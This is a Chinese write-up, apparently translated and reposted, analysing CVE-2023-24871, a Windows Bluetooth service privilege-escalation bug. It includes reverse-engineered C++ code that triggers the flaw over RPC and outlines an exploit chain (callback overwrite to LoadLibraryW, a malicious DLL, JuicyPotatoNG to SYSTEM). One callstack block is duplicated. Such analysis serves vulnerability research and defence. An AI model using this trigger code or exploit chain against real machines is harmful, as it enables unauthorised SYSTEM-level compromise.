注意CVE-2023-24871虽然作者只提供了LPE的POC,但是实际上是可以实现0-click RCE的。
利用CVE-2023-24871实现LPE(本地权限提升)的路径比导致RCE(远程代码执行)的路径要简单得多,因为只有一个受影响的模块。当然,攻击是本地的,所以没有必要用两个设备来折腾。这是一个相当经典的Windows LPE案例——一个特权服务运行一个RPC服务器,未经特权的应用程序可以连接到这个服务器。来自未经特权客户端发送的数据可以触发服务器上的漏洞,从而显现出一个野生的LPE。
目录
-
[1.0 可达性] -
[2.0 先决条件] -
[3.0 漏洞验证 + 利用]
[1.0] 可达性
在这种情况下,只有一个易受攻击的模块,那就是我们再次称之为bthserv的蓝牙支持服务。此服务运行一个RPC服务器,未经特权的应用程序可以连接到该服务器。将未经特权的应用程序连接到RPC服务器的接口是公开的,并通过WinRT API在Windows.Devices.Bluetooth
下暴露。该接口允许应用程序执行大量涉及BLE的操作,包括通过BluetoothLEAdvertisementPublisher
对象设置传出广告。
易受攻击的函数可以通过以下代码路径在Windows.Internal.Bluetooth.dll
中被访问,该路径被服务使用:
Windows.Internal.Bluetooth.dll!BthLELib_ADValidateEx()
Windows.Internal.Bluetooth.dll!Windows::Devices::Bluetooth::EventBroker::BluetoothLEAdvertisementPublisherTrigger::s_UnpackParameters(struct _BR_EVENT_PARAMETERS *,enum BluetoothEventBroker_AdvertisementPublisherVersion)
Windows.Internal.Bluetooth.dll!<lambda>(void)()
Windows.Internal.Bluetooth.dll!wil::ResultFromException<<lambda>(void)>()
Windows.Internal.Bluetooth.dll!Windows::Devices::Bluetooth::EventBroker::BluetoothLEAdvertisementPublisherTrigger::Create(class std::shared_ptr<class BluetoothEventBroker>,struct _BROKERED_EVENT *,struct _BR_EVENT_PARAMETERS *,enum _BR_EVENT_CALL_REASON,void *,unsigned short const *,unsigned long,class std::shared_ptr<class BaseTrigger> &)
Windows.Internal.Bluetooth.dll!<lambda>(void)()
Windows.Internal.Bluetooth.dll!wil::ResultFromException<<lambda>(void)>()
Windows.Internal.Bluetooth.dll!BluetoothEventBroker::s_OnCreateEvent(enum _BR_EVENT_CALL_REASON,struct _BROKER *,struct _BROKERED_EVENT *,struct _BR_EVENT_PARAMETERS *,unsigned short const *,void *,void *,void *,void * *,unsigned long *,struct _BR_NEW_EVENT_INFORMATION *)
BrokerLib.dll!Broker::BrokerBase::CreateBrokeredEventEA()
BrokerLib.dll!BrpCreateBrokeredEvent()
BrokerLib.dll!_BriCreateEvent()
rpcrt4.dll!Invoke()
...
调用栈底部是熟悉的rpcrt4.dll!Invoke()
,这意味着调用来自客户端发出的RPC调用。要访问该函数,只需从之前连接到服务器的应用程序发出此RPC调用即可。实现这一点的标准方法是使用NtObjectManager库,但在这里我们有机会以更受控的方式进行。注意调用栈中的一个条目是BluetoothLEAdvertisementPublisherTrigger::Create
,它指向服务器创建一个BluetoothLEAdvertisementPublisherTrigger
对象。确实,通过在未经特权的应用程序中创建这样一个对象,用适当的数据填充它,并在一个后台任务下注册它,可以触发这个代码路径。例如,以下C++/CX WinRT代码将完成这项工作:
auto trigger = ref new BluetoothLEAdvertisementPublisherTrigger();
trigger->UseExtendedFormat = true;
auto manufacturerData = ref new BluetoothLEManufacturerData();
manufacturerData->CompanyId = 0x1234;
trigger->Advertisement->ManufacturerData->Append(manufacturerData);
auto builder = ref new BackgroundTaskBuilder();
builder->SetTrigger(trigger);
builder->Register();
The client callstack looks like:
rpcrt4.dll!NdrpClientCall3()
rpcrt4.dll!NdrClientCall3()
biwinrt.dll!RBiRtCltCreateEventForApp(void *)
biwinrt.dll!BiRtCreateEventForApp(_GUID * EventId=0x000001977a2ea508, const _GUID * BrokerId=0x00007ffd034fd5b0, unsigned long EventFlags=0, _BR_EVENT_PARAMETERS * Parameters=0x00000073574fe518)
Windows.Devices.Bluetooth.dll!Windows::ApplicationModel::Background::BluetoothLEAdvertisementPublisherTrigger::Create(void)
biwinrt.dll!Windows::ApplicationModel::Background::CBackgroundTaskBuilder::Register(Windows::ApplicationModel::Background::IBackgroundTaskRegistration * * Task=0x000001977d575a40)
... (this is on a different thread than the code which executes above)
客户端调用栈看起来像:
rpcrt4.dll!NdrpClientCall3()
rpcrt4.dll!NdrClientCall3()
biwinrt.dll!RBiRtCltCreateEventForApp(void *)
biwinrt.dll!BiRtCreateEventForApp(_GUID * EventId=0x000001977a2ea508, const _GUID * BrokerId=0x00007ffd034fd5b0, unsigned long EventFlags=0, _BR_EVENT_PARAMETERS * Parameters=0x00000073574fe518)
Windows.Devices.Bluetooth.dll!Windows::ApplicationModel::Background::BluetoothLEAdvertisementPublisherTrigger::Create(void)
biwinrt.dll!Windows::ApplicationModel::Background::CBackgroundTaskBuilder::Register(Windows::ApplicationModel::Background::IBackgroundTaskRegistration * * Task=0x000001977d575a40)
... (this is on a different thread than the code which executes above)
上述方法的一个问题是,否则会触发漏洞的广告数据将被BluetoothLEAdvertisementPublisherTrigger::Create
中的本地检查拒绝。该函数确保广告数据最多有255个部分,如果不是这样就会提前退出。为了防止这种情况发生,我们可以修补这些本地检查,但这样做在不同版本的DLL中变得一团糟。
最初我打算逆向RPC数据包中请求序列化的格式,但结果发现有一条更简单的路径。从上面的调用栈中,我们可以看到RPC运行时和WinRT之间有一个中间层。服务器端调用栈包含几个来自BrokerLib.dll
的条目,客户端对应于biwinrt.dll
。函数名称指向存在蓝牙“事件”,请求被转换为和从这些事件。简而言之,逆向这里的结构相当简单,我很快就有了工作代码。你可以在描述另一个漏洞的帖子中了解更多关于这一层的信息,因为它存在于BrokerLib.dll
中的RPC服务器代码中。
然后可以使用以下代码触发漏洞:
// Reverse engineered from Windows.Devices.Bluetooth.dll
enum class BR_VALUE_TYPE
{
INT = 0,
BUFFER = 4,
};
// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec(align(8)) BR_BUFFER
{
uint64_t m_Size;
const void* m_Data;
};
// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec (align(8)) BR_EVENT_PARAMETER
{
BR_EVENT_PARAMETER(const wchar_t* name, int32_t value)
{
m_Name = name;
m_Type = BR_VALUE_TYPE::INT;
m_IntValue = value;
}
BR_EVENT_PARAMETER(const wchar_t* name, const BR_BUFFER& value)
{
m_Name = name;
m_Type = BR_VALUE_TYPE::BUFFER;
m_BufValue = value;
}
const wchar_t* m_Name;
BR_VALUE_TYPE m_Type;
union
{
int32_t m_IntValue;
BR_BUFFER m_BufValue;
};
};
HRESULT TriggerVuln(const std::vector<uint8_t>& advData)
{
// Fetch the pointer to BiRtCreateEventForApp
using BiRtCreateEventForAppFn = HRESULT(GUID&, GUID&, int64_t, BR_BUFFER&);
HMODULE biWinRtModule = GetModuleHandle(L"biwinrt.dll");
std::function<BiRtCreateEventForAppFn> createEventForApp = reinterpret_cast<BiRtCreateEventForAppFn*>(GetProcAddress(biWinRtModule, "BiRtCreateEventForApp"));
// event parameters, taken from BluetoothLEAdvertisementPublisherTrigger::Create
std::vector<BR_EVENT_PARAMETER> eventParameters;
eventParameters.emplace_back(L"EventType", 4);
eventParameters.emplace_back(L"Version", 3);
eventParameters.emplace_back(L"UseExtendedFormat", 1);
eventParameters.emplace_back(L"IsAnonymous", 0);
eventParameters.emplace_back(L"IncludeTransmitPowerLevel", 0);
eventParameters.emplace_back(L"AdvertisementPayload", BR_BUFFER{ advData.size(), advData.data() });
GUID zeroGuid = {};
BR_BUFFER eventParams = { eventParameters.size(), eventParameters.data() };
// Bluetooth GUID, taken from Windows.Devices.Bluetooth.dll
uint8_t bthEventBrokerGuidBytes[] = { 0x62, 0xE9, 0xCA, 0xFC, 0x22, 0x47, 0xC7, 0x40, 0xA4, 0x6D, 0xFE, 0x51, 0x53, 0x28, 0x07, 0x23 };
GUID bthEventBrokerGuid = {};
memcpy(&bthEventBrokerGuid, bthEventBrokerGuidBytes, sizeof(GUID));
// Send our event
return createEventForApp(zeroGuid, bthEventBrokerGuid, 0, eventParams);
}
用适当的广告数据作为参数调用上述函数将传播数据到易受攻击的函数,触发bthserv中的漏洞。
[2.0] 先决条件
与RCE情况不同,实现LPE所需的先决条件相当标准。系统要易受攻击,唯一需要的条件是启用了蓝牙。即使本地控制器不支持或不启用扩展广告,通向易受攻击函数的代码路径也不会检查客户端请求是否要求扩展广告(这在蓝牙栈的更深层次发生)。
连接由bthserv托管的RPC服务器需要调用应用程序在AppContainer中,并声明蓝牙功能。这防止了常规的本地应用程序与服务器通信,但它们可以启动具有功能的AppContainer,然后就可以正常工作了。在我的PoC / exploit中,我选择了注入一个线程到StartMenuExperienceHost.exe
,因为该进程已经托管了一个具有所需功能的应用程序。
[3.0] 漏洞验证 + 利用
在github上,既有一个简单的PoC,也有一个完全功能的exploit。与从读写原语到堆栈枢轴+ROP链的经典exploit不同,这个有点更临时,因为我不想花太多时间在这上面。它依赖于覆盖某些堆内存,这些内存持有指向回调的指针以及作为回调唯一参数传递的数据。我们覆盖回调指向LoadLibraryW
,参数指向内存中一个DLL的文件路径。我们在该文件路径部署了一个恶意DLL,并让LoadLibraryW
加载它。由于bthserv以LOCAL SERVICE身份运行,剩下的就是提升到SYSTEM。为此我使用了JuicyPotatoNG。你可以在下面的视频中查看exploit的演示,并在github页面上查看有关exploit如何工作以及如何运行它的更多详细信息。
原文始发于微信公众号(3072):CVE-2023-24871 windows 蓝牙提权漏洞分析